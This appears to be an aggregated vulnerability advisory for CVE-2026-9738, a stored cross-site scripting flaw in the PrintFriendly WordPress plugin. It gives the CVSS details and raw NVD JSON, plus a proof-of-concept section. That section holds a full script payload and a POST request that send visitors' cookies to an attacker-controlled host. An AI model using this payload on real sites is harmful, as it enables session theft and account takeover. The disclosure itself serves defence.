Security Vulnerability Report
中文
CVE-2026-9738 CVSS 4.4 MEDIUM

CVE-2026-9738

Published: 2026-07-11 05:16:35
Last Modified: 2026-07-11 05:16:35

Description

The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in all versions up to, and including, 5.5.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Print, PDF, Email by PrintFriendly <= 5.5.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-9738 PoC: Stored XSS via content_position_css parameter --> <!-- Step 1: Login as administrator --> <!-- Step 2: Navigate to PrintFriendly plugin settings page --> <!-- Step 3: Inject malicious payload into content_position_css parameter --> <!-- Malicious payload for content_position_css parameter: --> "></div><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script><div class=" <!-- HTTP Request Example (POST to plugin settings endpoint) --> POST /wp-admin/options-general.php?page=printfriendly HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_admin_session option_page=printfriendly&_wpnonce=VALID_NONCE&action=update&printfriendly_options[content_position_css]="></div><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script><div class="&printfriendly_options[other_option]=value <!-- After submission, the malicious script is stored in the database --> <!-- Whenever any user visits a page with PrintFriendly functionality, the XSS payload executes --> <!-- The attacker's steal.php would receive the victim's session cookies -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9738", "sourceIdentifier": "[email protected]", "published": "2026-07-11T05:16:34.910", "lastModified": "2026-07-11T05:16:34.910", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in all versions up to, and including, 5.5.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "printfriendly", "product": "Print, PDF & Email by PrintFriendly", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "5.5.10", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.10/pf.php#L367", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.10/pf.php#L391", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.10/pf.php#L681", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.8/pf.php#L367", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.8/pf.php#L391", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printfriendly/tags/5.5.8/pf.php#L681", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?reponame=&old=3590593%40printfriendly&new=3590593%40printfriendly", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43d54cb5-7813-4d30-a081-db84e0d29030?source=cve", "source": "[email protected]"}]}}